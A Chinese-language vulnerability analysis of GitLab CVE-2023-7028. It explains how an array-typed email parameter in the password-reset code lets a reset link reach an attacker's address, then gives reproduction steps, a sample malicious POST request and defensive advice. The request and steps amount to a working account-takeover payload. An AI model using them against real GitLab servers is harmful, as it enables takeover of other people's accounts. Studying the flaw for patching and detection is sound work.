GitLab任意用户密码重置漏洞分析(CVE-2023-7028)技术文档
漏洞概述
CVE-2023-7028是GitLab中存在的一个高危漏洞,允许攻击者在知道目标用户邮箱的情况下,通过构造特殊的请求绕过密码重置机制的限制,向攻击者控制的邮箱也发送密码重置链接,从而实现任意用户密码重置。
受影响版本
该漏洞影响GitLab的多个版本,具体受影响范围需参考官方公告。漏洞在2024年1月19日被发现并公开。
漏洞原理分析
核心问题
漏洞存在于GitLab的密码重置功能中,具体在app/models/concerns/recoverable_by_any_email.rb文件中的send_reset_password_instructions方法。
代码级分析
module RecoverableByAnyEmail
extend ActiveSupport::Concern
class_methods do
def send_reset_password_instructions(attributes = {})
email = attributes.delete(:email) # 关键点1:从attributes中提取email
super unless email
recoverable = by_email_with_errors(email) # 关键点2:验证邮箱
# 关键点3:向所有邮箱发送重置指令
recoverable.send_reset_password_instructions(to: email) if recoverable&.persisted?
recoverable
end
private
def by_email_with_errors(email)
record = find_by_any_email(email, confirmed: true) || new
record.errors.add(:email, :invalid) unless record.persisted?
record
end
end
end
漏洞形成的关键点:
-
参数处理不当:
attributes.delete(:email)会从哈希中删除键为:email的键值对并返回其值。当传入数组类型的email参数时,会返回整个数组。 -
数组参数处理:如果传入的
attributes为{"email" => ["admin@gmail.com", "attacker@gmail.com"]},email变量将被赋值为整个数组["admin@gmail.com", "attacker@gmail.com"]。 -
验证逻辑缺陷:
by_email_with_errors方法会检查数组中任意一个邮箱是否存在有效用户,只要有一个有效就会返回成功。 -
邮件发送逻辑:
send_reset_password_instructions方法会将重置链接发送给email变量中的所有邮箱地址。
漏洞利用条件
- GitLab启用了邮箱登录功能
- 攻击者知道目标用户的注册邮箱
- GitLab配置了有效的SMTP服务
漏洞复现步骤
- 访问GitLab的密码重置页面:
/users/password/new - 输入目标用户邮箱(如admin@gmail.com)
- 拦截请求并修改参数:
- 原始参数:
user[email]=admin@gmail.com - 修改为:
user[email][]=admin@gmail.com&user[email][]=evil@gmail.com
- 原始参数:
- 发送修改后的请求
示例恶意请求
POST /users/password HTTP/1.1
Host: target.gitlab.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
authenticity_token=...&user%5Bemail%5D%5B%5D=admin@gmail.com&user%5Bemail%5D%5B%5D=evil@gmail.com
修复方案
GitLab官方已发布补丁修复此漏洞,建议用户升级到最新版本。修复的核心是确保send_reset_password_instructions方法正确处理email参数,防止数组注入。
防御措施
- 及时升级GitLab到已修复的版本
- 限制密码重置功能,如启用二次验证
- 监控异常密码重置请求
- 对用户邮箱信息加强保护,防止泄露
总结
CVE-2023-7028是一个典型的参数处理不当导致的安全漏洞,攻击者可以利用该漏洞在知道目标邮箱的情况下重置任意用户密码。该漏洞的危害性高,利用门槛低,需要管理员高度重视并及时修复。